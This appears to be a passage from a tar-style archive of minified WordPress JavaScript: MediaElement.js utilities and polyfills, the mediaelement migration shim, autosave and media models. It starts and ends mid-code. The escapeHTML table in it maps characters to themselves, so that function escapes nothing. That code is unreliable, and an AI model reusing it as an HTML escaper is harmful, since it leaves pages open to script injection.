s=null;l.default.requestAnimationFrame(function e(t){var n=t-(s=s||t),o=parseFloat(1-n/r,2);i.style.opacity=o<0?0:o,r<n?a&&"function"==typeof a&&a():l.default.requestAnimationFrame(e)})}function g(i){var r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:400,a=arguments[2];i.style.opacity||(i.style.opacity=0);var s=null;l.default.requestAnimationFrame(function e(t){var n=t-(s=s||t),o=parseFloat(n/r,2);i.style.opacity=1<o?1:o,r<n?a&&"function"==typeof a&&a():l.default.requestAnimationFrame(e)})}function y(e,t){var n=[];for(e=e.parentNode.firstChild;t&&!t(e)||n.push(e),e=e.nextSibling;);return n}function E(e){return void 0!==e.getClientRects&&"function"===e.getClientRects?!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length):!(!e.offsetWidth&&!e.offsetHeight)}function b(e,t,n,o){var i=l.default.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),r="application/x-www-form-urlencoded; charset=UTF-8",a=!1,s="*/".concat("*");switch(t){case"text":r="text/plain";break;case"json":r="application/json, text/javascript";break;case"html":r="text/html";break;case"xml":r="application/xml, text/xml"}"application/x-www-form-urlencoded"!==r&&(s=r+", */*; q=0.01"),i&&(i.open("GET",e,!0),i.setRequestHeader("Accept",s),i.onreadystatechange=function(){if(!a&&4===i.readyState)if(200===i.status){a=!0;var e=void 0;switch(t){case"json":e=JSON.parse(i.responseText);break;case"xml":e=i.responseXML;break;default:e=i.responseText}n(e)}else"function"==typeof o&&o(i.status)},i.send())}o.default.Utils=o.default.Utils||{},o.default.Utils.offset=s,o.default.Utils.hasClass=f,o.default.Utils.addClass=p,o.default.Utils.removeClass=m,o.default.Utils.toggleClass=h,o.default.Utils.fadeIn=g,o.default.Utils.fadeOut=v,o.default.Utils.siblings=y,o.default.Utils.visible=E,o.default.Utils.ajax=b,o.default.Utils.loadScript=a},{2:2,3:3,7:7}],27:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.escapeHTML=a,n.debounce=s,n.isObjectEmpty=l,n.splitEvents=d,n.createEvent=u,n.isNodeAfter=c,n.isString=f;var o,i=e(7),r=(o=i)&&o.__esModule?o:{default:o};function a(e){if("string"!=typeof e)throw new Error("Argument passed must be a string");var t={"&":"&","<":"<",">":">",'"':"""};return e.replace(/[&<>"]/g,function(e){return t[e]})}function s(o,i){var r=this,a=arguments,s=2<arguments.length&&void 0!==arguments[2]&&arguments[2];if("function"!=typeof o)throw new Error("First argument must be a function");if("number"!=typeof i)throw new Error("Second argument must be a numeric value");var l=void 0;return function(){var e=r,t=a,n=s&&!l;clearTimeout(l),l=setTimeout(function(){l=null,s||o.apply(e,t)},i),n&&o.apply(e,t)}}function l(e){return Object.getOwnPropertyNames(e).length<=0}function d(e,n){var o=/^((after|before)print|(before)?unload|hashchange|message|o(ff|n)line|page(hide|show)|popstate|resize|storage)\b/,i={d:[],w:[]};return(e||"").split(" ").forEach(function(e){var t=e+(n?"."+n:"");t.startsWith(".")?(i.d.push(t),i.w.push(t)):i[o.test(e)?"w":"d"].push(t)}),i.d=i.d.join(" "),i.w=i.w.join(" "),i}function u(e,t){if("string"!=typeof e)throw new Error("Event name must be a string");var n=e.match(/([a-z]+\.([a-z]+))/i),o={target:t};return null!==n&&(e=n[1],o.namespace=n[2]),new window.CustomEvent(e,{detail:o})}function c(e,t){return!!(e&&t&&2&e.compareDocumentPosition(t))}function f(e){return"string"==typeof e}r.default.Utils=r.default.Utils||{},r.default.Utils.escapeHTML=a,r.default.Utils.debounce=s,r.default.Utils.isObjectEmpty=l,r.default.Utils.splitEvents=d,r.default.Utils.createEvent=u,r.default.Utils.isNodeAfter=c,r.default.Utils.isString=f},{7:7}],28:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.typeChecks=void 0,n.absolutizeUrl=l,n.formatType=d,n.getMimeFromType=u,n.getTypeFromFile=c,n.getExtension=f,n.normalizeExtension=p;var o,i=e(7),r=(o=i)&&o.__esModule?o:{default:o},a=e(27);var s=n.typeChecks=[];function l(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=document.createElement("div");return t.innerHTML='<a href="'+(0,a.escapeHTML)(e)+'">x</a>',t.firstChild.href}function d(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:"";return e&&!t?c(e):t}function u(e){if("string"!=typeof e)throw new Error("`type` argument must be a string");return e&&-1<e.indexOf(";")?e.substr(0,e.indexOf(";")):e}function c(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");for(var t=0,n=s.length;t<n;t++){var o=s[t](e);if(o)return o}var i=p(f(e)),r="video/mp4";return i&&(~["mp4","m4v","ogg","ogv","webm","flv","mpeg"].indexOf(i)?r="video/"+i:"mov"===i?r="video/quicktime":~["mp3","oga","wav","mid","midi"].indexOf(i)&&(r="audio/"+i)),r}function f(e){if("string"!=typeof e)throw new Error("`url` argument must be a string");var t=e.split("?")[0].split("\\").pop().split("/").pop();return~t.indexOf(".")?t.substring(t.lastIndexOf(".")+1):""}function p(e){if("string"!=typeof e)throw new Error("`extension` argument must be a string");switch(e){case"mp4":case"m4v":return"mp4";case"webm":case"webma":case"webmv":return"webm";case"ogg":case"oga":case"ogv":return"ogg";default:return e}}r.default.Utils=r.default.Utils||{},r.default.Utils.typeChecks=s,r.default.Utils.absolutizeUrl=l,r.default.Utils.formatType=d,r.default.Utils.getMimeFromType=u,r.default.Utils.getTypeFromFile=c,r.default.Utils.getExtension=f,r.default.Utils.normalizeExtension=p},{27:27,7:7}],29:[function(e,t,n){"use strict";var o,i=a(e(2)),r=a(e(4));function a(e){return e&&e.__esModule?e:{default:e}}if([Element.prototype,CharacterData.prototype,DocumentType.prototype].forEach(function(e){e.hasOwnProperty("remove")||Object.defineProperty(e,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){this.parentNode.removeChild(this)}})}),function(){if("function"==typeof window.CustomEvent)return;function e(e,t){t=t||{bubbles:!1,cancelable:!1,detail:void 0};var n=i.default.createEvent("CustomEvent");return n.initCustomEvent(e,t.bubbles,t.cancelable,t.detail),n}e.prototype=window.Event.prototype,window.CustomEvent=e}(),"function"!=typeof Object.assign&&(Object.assign=function(e){if(null==e)throw new TypeError("Cannot convert undefined or null to object");for(var t=Object(e),n=1,o=arguments.length;n<o;n++){var i=arguments[n];if(null!==i)for(var r in i)Object.prototype.hasOwnProperty.call(i,r)&&(t[r]=i[r])}return t}),String.prototype.startsWith||(String.prototype.startsWith=function(e,t){return t=t||0,this.substr(t,e.length)===e}),Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length-1;0<=--n&&t.item(n)!==this;);return-1<n}),window.Element&&!Element.prototype.closest&&(Element.prototype.closest=function(e){var t=(this.document||this.ownerDocument).querySelectorAll(e),n=void 0,o=this;do{for(n=t.length;0<=--n&&t.item(n)!==o;);}while(n<0&&(o=o.parentElement));return o}),function(){for(var i=0,e=["ms","moz","webkit","o"],t=0;t<e.length&&!window.requestAnimationFrame;++t)window.requestAnimationFrame=window[e[t]+"RequestAnimationFrame"],window.cancelAnimationFrame=window[e[t]+"CancelAnimationFrame"]||window[e[t]+"CancelRequestAnimationFrame"];window.requestAnimationFrame||(window.requestAnimationFrame=function(e){var t=(new Date).getTime(),n=Math.max(0,16-(t-i)),o=window.setTimeout(function(){e(t+n)},n);return i=t+n,o}),window.cancelAnimationFrame||(window.cancelAnimationFrame=function(e){clearTimeout(e)})}(),/firefox/i.test(navigator.userAgent)){var s=window.getComputedStyle;window.getComputedStyle=function(e,t){var n=s(e,t);return null===n?{getPropertyValue:function(){}}:n}}window.Promise||(window.Promise=r.default),(o=window.Node||window.Element)&&o.prototype&&null===o.prototype.children&&Object.defineProperty(o.prototype,"children",{get:function(){for(var e=0,t=void 0,n=this.childNodes,o=[];t=n[e++];)1===t.nodeType&&o.push(t);return o}})},{2:2,4:4}],30:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isDropFrame=C,n.secondsToTimeCode=a,n.timeCodeToSeconds=s,n.calculateTimeFormat=l,n.convertSMPTEtoSeconds=d;var o,i=e(7),r=(o=i)&&o.__esModule?o:{default:o};function C(){return!((0<arguments.length&&void 0!==arguments[0]?arguments[0]:25)%1==0)}function a(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],o=3<arguments.length&&void 0!==arguments[3]?arguments[3]:25,i=4<arguments.length&&void 0!==arguments[4]?arguments[4]:0,r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:"hh:mm:ss";e=!e||"number"!=typeof e||e<0?0:e;var a=Math.round(.066666*o),s=Math.round(o),l=24*Math.round(3600*o),d=Math.round(600*o),u=C(o)?";":":",c=void 0,f=void 0,p=void 0,m=void 0,h=Math.round(e*o);if(C(o)){h<0&&(h=l+h);var v=(h%=l)%d;h+=9*a*Math.floor(h/d),a<v&&(h+=a*Math.floor((v-a)/Math.round(60*s-a)));var g=Math.floor(h/s);c=Math.floor(Math.floor(g/60)/60),f=Math.floor(g/60)%60,p=n?g%60:Math.floor(h/s%60).toFixed(i)}else c=Math.floor(e/3600)%24,f=Math.floor(e/60)%60,p=n?Math.floor(e%60):Math.floor(e%60).toFixed(i);c=c<=0?0:c,p=60===(p=p<=0?0:p)?0:p,f=60===(f=f<=0?0:f)?0:f;for(var y=r.split(":"),E={},b=0,S=y.length;b<S;++b){for(var x="",w=0,P=y[b].length;w<P;w++)x.indexOf(y[b][w])<0&&(x+=y[b][w]);~["f","s","m","h"].indexOf(x)&&(E[x]=y[b].length)}var T=t||0<c?(c<10&&1<E.h?"0"+c:c)+":":"";return T+=(f<10&&1<E.m?"0"+f:f)+":",T+=""+(p<10&&1<E.s?"0"+p:p),n&&(T+=(m=(m=(h%s).toFixed(0))<=0?0:m)<10&&E.f?u+"0"+m:""+u+m),T}function s(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:25;if("string"!=typeof e)throw new TypeError("Time must be a string");if(0<e.indexOf(";")&&(e=e.replace(";",":")),!/\d{2}(\:\d{2}){0,3}/i.test(e))throw new TypeError("Time code must have the format `00:00:00`");var n=e.split(":"),o=void 0,i=0,r=0,a=0,s=0,l=0,d=Math.round(.066666*t),u=Math.round(t),c=3600*u,f=60*u;switch(n.length){default:case 1:a=parseInt(n[0],10);break;case 2:r=parseInt(n[0],10),a=parseInt(n[1],10);break;case 3:i=parseInt(n[0],10),r=parseInt(n[1],10),a=parseInt(n[2],10);break;case 4:i=parseInt(n[0],10),r=parseInt(n[1],10),a=parseInt(n[2],10),s=parseInt(n[3],10)}return o=C(t)?c*i+f*r+u*a+s-d*((l=60*i+r)-Math.floor(l/10)):(c*i+f*r+t*a+s)/t,parseFloat(o.toFixed(3))}function l(e,t){var n=2<arguments.length&&void 0!==arguments[2]?arguments[2]:25;e=!e||"number"!=typeof e||e<0?0:e;for(var o=Math.floor(e/3600)%24,i=Math.floor(e/60)%60,r=Math.floor(e%60),a=[[Math.floor((e%1*n).toFixed(3)),"f"],[r,"s"],[i,"m"],[o,"h"]],s=t.timeFormat,l=s[1]===s[0],d=l?2:1,u=s.length<d?s[d]:":",c=s[0],f=!1,p=0,m=a.length;p<m;p++)if(~s.indexOf(a[p][1]))f=!0;else if(f){for(var h=!1,v=p;v<m;v++)if(0<a[v][0]){h=!0;break}if(!h)break;l||(s=c+s),s=a[p][1]+u+s,l&&(s=a[p][1]+s),c=a[p][1]}t.timeFormat=s}function d(e){if("string"!=typeof e)throw new TypeError("Argument must be a string value");for(var t=~(e=e.replace(",",".")).indexOf(".")?e.split(".")[1].length:0,n=0,o=1,i=0,r=(e=e.split(":").reverse()).length;i<r;i++)o=1,0<i&&(o=Math.pow(60,i)),n+=Number(e[i])*o;return Number(n.toFixed(t))}r.default.Utils=r.default.Utils||{},r.default.Utils.secondsToTimeCode=a,r.default.Utils.timeCodeToSeconds=s,r.default.Utils.calculateTimeFormat=l,r.default.Utils.convertSMPTEtoSeconds=d},{7:7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]); mediaelement/wp-mediaelement.min.js 0000644 00000002123 15111757753 0013404 0 ustar 00 !function(e,n){e.wp=e.wp||{},e.wp.mediaelement=new function(){var t={};return{initialize:function(){var e=[];(t="undefined"!=typeof _wpmejsSettings?n.extend(!0,{},_wpmejsSettings):t).classPrefix="mejs-",t.success=t.success||function(e){var t,n;e.rendererName&&-1!==e.rendererName.indexOf("flash")&&(t=e.attributes.autoplay&&"false"!==e.attributes.autoplay,n=e.attributes.loop&&"false"!==e.attributes.loop,t&&e.addEventListener("canplay",function(){e.play()},!1),n)&&e.addEventListener("ended",function(){e.play()},!1)},t.customError=function(e,t){if(-1!==e.rendererName.indexOf("flash")||-1!==e.rendererName.indexOf("flv"))return'<a href="'+t.src+'">'+mejsL10n.strings["mejs.download-file"]+"</a>"},void 0!==t.videoShortcodeLibrary&&"mediaelement"!==t.videoShortcodeLibrary||e.push(".wp-video-shortcode"),void 0!==t.audioShortcodeLibrary&&"mediaelement"!==t.audioShortcodeLibrary||e.push(".wp-audio-shortcode"),e.length&&n(e.join(", ")).not(".mejs-container").filter(function(){return!n(this).parent().hasClass("mejs-mediaelement")}).mediaelementplayer(t)}}},n(e.wp.mediaelement.initialize)}(window,jQuery); mediaelement/mediaelement-migrate.js 0000644 00000005431 15111757753 0013631 0 ustar 00 /* global console, MediaElementPlayer, mejs */ (function ( window, $ ) { // Reintegrate `plugins` since they don't exist in MEJS anymore; it won't affect anything in the player if (mejs.plugins === undefined) { mejs.plugins = {}; mejs.plugins.silverlight = []; mejs.plugins.silverlight.push({ types: [] }); } // Inclusion of old `HtmlMediaElementShim` if it doesn't exist mejs.HtmlMediaElementShim = mejs.HtmlMediaElementShim || { getTypeFromFile: mejs.Utils.getTypeFromFile }; // Add missing global variables for backward compatibility if (mejs.MediaFeatures === undefined) { mejs.MediaFeatures = mejs.Features; } if (mejs.Utility === undefined) { mejs.Utility = mejs.Utils; } /** * Create missing variables and have default `classPrefix` overridden to avoid issues. * * `media` is now a fake wrapper needed to simplify manipulation of various media types, * so in order to access the `video` or `audio` tag, use `media.originalNode` or `player.node`; * `player.container` used to be jQuery but now is a HTML element, and many elements inside * the player rely on it being a HTML now, so its conversion is difficult; however, a * `player.$container` new variable has been added to be used as jQuery object */ var init = MediaElementPlayer.prototype.init; MediaElementPlayer.prototype.init = function () { this.options.classPrefix = 'mejs-'; this.$media = this.$node = $( this.node ); init.call( this ); }; var ready = MediaElementPlayer.prototype._meReady; MediaElementPlayer.prototype._meReady = function () { this.container = $( this.container) ; this.controls = $( this.controls ); this.layers = $( this.layers ); ready.apply( this, arguments ); }; // Override method so certain elements can be called with jQuery MediaElementPlayer.prototype.getElement = function ( el ) { return $ !== undefined && el instanceof $ ? el[0] : el; }; // Add jQuery ONLY to most of custom features' arguments for backward compatibility; default features rely 100% // on the arguments being HTML elements to work properly MediaElementPlayer.prototype.buildfeatures = function ( player, controls, layers, media ) { var defaultFeatures = [ 'playpause', 'current', 'progress', 'duration', 'tracks', 'volume', 'fullscreen' ]; for (var i = 0, total = this.options.features.length; i < total; i++) { var feature = this.options.features[i]; if (this['build' + feature]) { try { // Use jQuery for non-default features if (defaultFeatures.indexOf(feature) === -1) { this['build' + feature]( player, $(controls), $(layers), media ); } else { this['build' + feature]( player, controls, layers, media ); } } catch (e) { console.error( 'error building ' + feature, e ); } } } }; })( window, jQuery ); autosave.min.js 0000644 00000013257 15111757753 0007537 0 ustar 00 /*! This file is auto-generated */ window.autosave=function(){return!0},function(c,a){function n(){T={post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""},w=r(T)}function i(t){var e=(new Date).getTime(),n=[],o=u();return o&&o.isDirty()&&!o.isHidden()&&H<e-3e3&&(o.save(),H=e),o={post_id:c("#post_ID").val()||0,post_type:c("#post_type").val()||"",post_author:c("#post_author").val()||"",post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""},"local"!==t&&(c('input[id^="in-category-"]:checked').each(function(){n.push(this.value)}),o.catslist=n.join(","),(e=c("#post_name").val())&&(o.post_name=e),(t=c("#parent_id").val())&&(o.parent_id=t),c("#comment_status").prop("checked")&&(o.comment_status="open"),c("#ping_status").prop("checked")&&(o.ping_status="open"),"1"===c("#auto_draft").val())&&(o.auto_draft="1"),o}function r(t){return"object"==typeof t?(t.post_title||"")+"::"+(t.content||"")+"::"+(t.excerpt||""):(c("#title").val()||"")+"::"+(c("#content").val()||"")+"::"+(c("#excerpt").val()||"")}function s(){j.trigger("autosave-disable-buttons"),setTimeout(o,5e3)}function o(){j.trigger("autosave-enable-buttons")}function u(){return"undefined"!=typeof tinymce&&tinymce.get("content")}function p(){_=!0,a.clearTimeout(e),e=a.setTimeout(function(){_=!1},1e4)}function l(){y=(new Date).getTime()+1e3*autosaveL10n.autosaveInterval||6e4}function v(){var t=!1;return t=k&&S?(t=sessionStorage.getItem("wp-autosave-"+S))?JSON.parse(t):{}:t}function f(){var t=v();return t&&D&&t["post_"+D]||!1}function d(t){var e=v();if(!e||!D)return!1;if(t)e["post_"+D]=t;else{if(!e.hasOwnProperty("post_"+D))return!1;delete e["post_"+D]}return t=e,!(!k||!S)&&(e="wp-autosave-"+S,sessionStorage.setItem(e,JSON.stringify(t)),null!==sessionStorage.getItem(e))}function g(t){var e;return!(I||!k)&&(t?(e=f()||{},c.extend(e,t)):e=i("local"),(t=r(e))!==(C=void 0===C?w:C))&&(e.save_time=(new Date).getTime(),e.status=c("#post_status").val()||"",(e=d(e))&&(C=t),e)}function m(t,e){function n(t){return t.toString().replace(/[\x20\t\r\n\f]+/g,"")}return n(t||"")===n(e||"")}function t(){var t,e,n,o=f(),a=wpCookies.get("wp-saving-post"),i=c("#has-newer-autosave").parent(".notice"),s=c(".wp-header-end");a===D+"-saved"?(wpCookies.remove("wp-saving-post"),d(!1)):o&&(a=c("#content").val()||"",t=c("#title").val()||"",e=c("#excerpt").val()||"",m(a,o.content)&&m(t,o.post_title)&&m(e,o.excerpt)||(s.length||(s=c(".wrap h1, .wrap h2").first()),n=c("#local-storage-notice").insertAfter(s).addClass("notice-warning"),i.length?i.slideUp(150,function(){n.slideDown(150)}):n.slideDown(200),n.find(".restore-backup").on("click.autosave-local",function(){!function(t){var e;if(t)return C=r(t),c("#title").val()!==t.post_title&&c("#title").trigger("focus").val(t.post_title||""),c("#excerpt").val(t.excerpt||""),(e=u())&&!e.isHidden()&&"undefined"!=typeof switchEditors?(e.settings.wpautop&&t.content&&(t.content=switchEditors.wpautop(t.content)),e.undoManager.transact(function(){e.setContent(t.content||""),e.nodeChanged()})):(c("#content-html").trigger("click"),c("#content").trigger("focus"),document.execCommand("selectAll"),document.execCommand("insertText",!1,t.content||""))}(o),n.fadeTo(250,0,function(){n.slideUp(150)})})))}var w,_,e,h,x,y,b,S,D,k,C,I,T,H,j;a.wp=a.wp||{},a.wp.autosave=(T={},H=0,j=c(document),c(function(){n()}).on("tinymce-editor-init.autosave",function(t,e){"content"!==e.id&&"excerpt"!==e.id||a.setTimeout(function(){e.save(),n()},1e3)}),{getPostData:i,getCompareString:r,disableButtons:s,enableButtons:o,local:(I=!1,S=void 0!==a.autosaveL10n&&a.autosaveL10n.blog_id,function(){var t=Math.random().toString(),e=!1;try{a.sessionStorage.setItem("wp-test",t),e=a.sessionStorage.getItem("wp-test")===t,a.sessionStorage.removeItem("wp-test")}catch(t){}return k=e}()&&S&&(c("#content").length||c("#excerpt").length)&&c(function(){D=c("#post_ID").val()||0,c("#wp-content-wrap").hasClass("tmce-active")?j.on("tinymce-editor-init.autosave",function(){a.setTimeout(function(){t()},1500)}):t(),a.setInterval(g,15e3),c("form#post").on("submit.autosave-local",function(){var t=u(),e=c("#post_ID").val()||0,t=(t&&!t.isHidden()?t.on("submit",function(){g({post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""})}):g({post_title:c("#title").val()||"",content:c("#content").val()||"",excerpt:c("#excerpt").val()||""}),"https:"===a.location.protocol);wpCookies.set("wp-saving-post",e+"-check",86400,!1,!1,t)})}),{hasStorage:k,getSavedPostData:f,save:g,suspend:function(){I=!0},resume:function(){I=!1}}),server:(y=0,b=!1,c(function(){l()}).on("heartbeat-send.autosave",function(t,e){var n,o=!(b||_||!a.autosave()||(new Date).getTime()<y||(o=r(n=i()))===(x=void 0===x?w:x))&&(h=o,p(),s(),j.trigger("wpcountwords",[n.content]).trigger("before-autosave",[n]),n._wpnonce=c("#_wpnonce").val()||"",n);o&&(e.wp_autosave=o)}).on("heartbeat-tick.autosave",function(t,e){e.wp_autosave&&(e=e.wp_autosave,l(),_=!1,x=h,h="",j.trigger("after-autosave",[e]),o(),e.success)&&c("#auto_draft").val("")}).on("heartbeat-connection-lost.autosave",function(t,e,n){"timeout"!==e&&603!==n||(e=c("#lost-connection-notice"),wp.autosave.local.hasStorage||e.find(".hide-if-no-sessionstorage").hide(),e.show(),s())}).on("heartbeat-connection-restored.autosave",function(){c("#lost-connection-notice").hide(),o()}),{tempBlockSave:p,triggerSave:function(){y=0,wp.heartbeat.connectNow()},postChanged:function(){var n=!1;return a.tinymce?(a.tinymce.each(["content","excerpt"],function(t){var e=a.tinymce.get(t);if(!e||e.isHidden()){if((c("#"+t).val()||"")!==T[t])return!(n=!0)}else if(e.isDirty())return!(n=!0)}),n=(c("#title").val()||"")!==T.post_title||n):r()!==w},suspend:function(){b=!0},resume:function(){b=!1}})})}(jQuery,window); media-models.min.js 0000644 00000031744 15111757753 0010251 0 ustar 00 /*! This file is auto-generated */ (()=>{var e,i,t,s,r={1288:t=>{var a,r=wp.media.model.Attachments,o=r.extend({initialize:function(t,e){var i;e=e||{},r.prototype.initialize.apply(this,arguments),this.args=e.args,this._hasMore=!0,this.created=new Date,this.filters.order=function(t){var e=this.props.get("orderby"),i=this.props.get("order");return!this.comparator||(this.length?1!==this.comparator(t,this.last(),{ties:!0}):"DESC"!==i||"date"!==e&&"modified"!==e?"ASC"===i&&"menuOrder"===e&&0===t.get(e):t.get(e)>=this.created)},i=["s","order","orderby","posts_per_page","post_mime_type","post_parent","author"],wp.Uploader&&_(this.args).chain().keys().difference(i).isEmpty().value()&&this.observe(wp.Uploader.queue)},hasMore:function(){return this._hasMore},more:function(t){var e=this;return this._more&&"pending"===this._more.state()?this._more:this.hasMore()?((t=t||{}).remove=!1,this._more=this.fetch(t).done(function(t){(_.isEmpty(t)||-1===e.args.posts_per_page||t.length<e.args.posts_per_page)&&(e._hasMore=!1)})):jQuery.Deferred().resolveWith(this).promise()},sync:function(t,e,i){var s;return"read"===t?((i=i||{}).context=this,i.data=_.extend(i.data||{},{action:"query-attachments",post_id:wp.media.model.settings.post.id}),-1!==(s=_.clone(this.args)).posts_per_page&&(s.paged=Math.round(this.length/s.posts_per_page)+1),i.data.query=s,wp.media.ajax(i)):(r.prototype.sync?r.prototype:Backbone).sync.apply(this,arguments)}},{defaultProps:{orderby:"date",order:"DESC"},defaultArgs:{posts_per_page:80},orderby:{allowed:["name","author","date","title","modified","uploadedTo","id","post__in","menuOrder"],valuemap:{id:"ID",uploadedTo:"parent",menuOrder:"menu_order ID"}},propmap:{search:"s",type:"post_mime_type",perPage:"posts_per_page",menuOrder:"menu_order",uploadedTo:"post_parent",status:"post_status",include:"post__in",exclude:"post__not_in",author:"author"},get:(a=[],function(e,t){var i,s={},r=o.orderby,n=o.defaultProps;return delete e.query,_.defaults(e,n),e.order=e.order.toUpperCase(),"DESC"!==e.order&&"ASC"!==e.order&&(e.order=n.order.toUpperCase()),_.contains(r.allowed,e.orderby)||(e.orderby=n.orderby),_.each(["include","exclude"],function(t){e[t]&&!_.isArray(e[t])&&(e[t]=[e[t]])}),_.each(e,function(t,e){_.isNull(t)||(s[o.propmap[e]||e]=t)}),_.defaults(s,o.defaultArgs),s.orderby=r.valuemap[e.orderby]||e.orderby,a=[],i||(i=new o([],_.extend(t||{},{props:e,args:s})),a.push(i)),i})});t.exports=o},3343:t=>{var n=Backbone.$,e=Backbone.Model.extend({sync:function(t,e,i){return _.isUndefined(this.id)?n.Deferred().rejectWith(this).promise():"read"===t?((i=i||{}).context=this,i.data=_.extend(i.data||{},{action:"get-attachment",id:this.id}),wp.media.ajax(i)):"update"===t?this.get("nonces")&&this.get("nonces").update?((i=i||{}).context=this,i.data=_.extend(i.data||{},{action:"save-attachment",id:this.id,nonce:this.get("nonces").update,post_id:wp.media.model.settings.post.id}),e.hasChanged()&&(i.data.changes={},_.each(e.changed,function(t,e){i.data.changes[e]=this.get(e)},this)),wp.media.ajax(i)):n.Deferred().rejectWith(this).promise():"delete"===t?((i=i||{}).wait||(this.destroyed=!0),i.context=this,i.data=_.extend(i.data||{},{action:"delete-post",id:this.id,_wpnonce:this.get("nonces").delete}),wp.media.ajax(i).done(function(){this.destroyed=!0}).fail(function(){this.destroyed=!1})):Backbone.Model.prototype.sync.apply(this,arguments)},parse:function(t){return t&&(t.date=new Date(t.date),t.modified=new Date(t.modified)),t},saveCompat:function(t,s){var r=this;return this.get("nonces")&&this.get("nonces").update?wp.media.post("save-attachment-compat",_.defaults({id:this.id,nonce:this.get("nonces").update,post_id:wp.media.model.settings.post.id},t)).done(function(t,e,i){r.set(r.parse(t,i),s)}):n.Deferred().rejectWith(this).promise()}},{create:function(t){return wp.media.model.Attachments.all.push(t)},get:_.memoize(function(t,e){return wp.media.model.Attachments.all.push(e||{id:t})})});t.exports=e},4134:t=>{var i=wp.media.model.Attachments,e=i.extend({initialize:function(t,e){i.prototype.initialize.apply(this,arguments),this.multiple=e&&e.multiple,this.on("add remove reset",_.bind(this.single,this,!1))},add:function(t,e){return this.multiple||this.remove(this.models),i.prototype.add.call(this,t,e)},single:function(t){var e=this._single;return t&&(this._single=t),this._single&&!this.get(this._single.cid)&&delete this._single,this._single=this._single||this.last(),this._single!==e&&(e&&(e.trigger("selection:unsingle",e,this),this.get(e.cid)||this.trigger("selection:unsingle",e,this)),this._single)&&this._single.trigger("selection:single",this._single,this),this._single}});t.exports=e},8266:t=>{var n=Backbone.Collection.extend({model:wp.media.model.Attachment,initialize:function(t,e){e=e||{},this.props=new Backbone.Model,this.filters=e.filters||{},this.props.on("change",this._changeFilteredProps,this),this.props.on("change:order",this._changeOrder,this),this.props.on("change:orderby",this._changeOrderby,this),this.props.on("change:query",this._changeQuery,this),this.props.set(_.defaults(e.props||{})),e.observe&&this.observe(e.observe)},_changeOrder:function(){this.comparator&&this.sort()},_changeOrderby:function(t,e){this.comparator&&this.comparator!==n.comparator||(e&&"post__in"!==e?this.comparator=n.comparator:delete this.comparator)},_changeQuery:function(t,e){e?(this.props.on("change",this._requery,this),this._requery()):this.props.off("change",this._requery,this)},_changeFilteredProps:function(r){this.props.get("query")||_.chain(r.changed).map(function(t,e){var i=n.filters[e],s=r.get(e);if(i){if(s&&!this.filters[e])this.filters[e]=i;else{if(s||this.filters[e]!==i)return;delete this.filters[e]}return!0}},this).any().value()&&(this._source||(this._source=new n(this.models)),this.reset(this._source.filter(this.validator,this)))},validateDestroyed:!1,validator:function(e){return!(!this.validateDestroyed&&e.destroyed)&&_.all(this.filters,function(t){return!!t.call(this,e)},this)},validate:function(t,e){var i=this.validator(t),s=!!this.get(t.cid);return!i&&s?this.remove(t,e):i&&!s&&this.add(t,e),this},validateAll:function(t,e){return e=e||{},_.each(t.models,function(t){this.validate(t,{silent:!0})},this),e.silent||this.trigger("reset",this,e),this},observe:function(t){return this.observers=this.observers||[],this.observers.push(t),t.on("add change remove",this._validateHandler,this),t.on("add",this._addToTotalAttachments,this),t.on("remove",this._removeFromTotalAttachments,this),t.on("reset",this._validateAllHandler,this),this.validateAll(t),this},unobserve:function(t){return t?(t.off(null,null,this),this.observers=_.without(this.observers,t)):(_.each(this.observers,function(t){t.off(null,null,this)},this),delete this.observers),this},_removeFromTotalAttachments:function(){this.mirroring&&(this.mirroring.totalAttachments=this.mirroring.totalAttachments-1)},_addToTotalAttachments:function(){this.mirroring&&(this.mirroring.totalAttachments=this.mirroring.totalAttachments+1)},_validateHandler:function(t,e,i){return i=e===this.mirroring?i:{silent:i&&i.silent},this.validate(t,i)},_validateAllHandler:function(t,e){return this.validateAll(t,e)},mirror:function(t){return this.mirroring&&this.mirroring===t||(this.unmirror(),this.mirroring=t,this.reset([],{silent:!0}),this.observe(t),this.trigger("attachments:received",this)),this},unmirror:function(){this.mirroring&&(this.unobserve(this.mirroring),delete this.mirroring)},more:function(t){var e=jQuery.Deferred(),i=this.mirroring,s=this;return(i&&i.more?(i.more(t).done(function(){this===s.mirroring&&e.resolveWith(this),s.trigger("attachments:received",this)}),e):e.resolveWith(this)).promise()},hasMore:function(){return!!this.mirroring&&this.mirroring.hasMore()},totalAttachments:0,getTotalAttachments:function(){return this.mirroring?this.mirroring.totalAttachments:0},parse:function(t,i){return _.isArray(t)||(t=[t]),_.map(t,function(t){var e;return t instanceof Backbone.Model?(e=t.get("id"),t=t.attributes):e=t.id,t=(e=wp.media.model.Attachment.get(e)).parse(t,i),_.isEqual(e.attributes,t)||e.set(t),e})},_requery:function(){var t;this.props.get("query")&&(t=this.props.toJSON(),this.mirror(wp.media.model.Query.get(t)))},saveMenuOrder:function(){if("menuOrder"===this.props.get("orderby")){var t=this.chain().filter(function(t){return!_.isUndefined(t.id)}).map(function(t,e){return 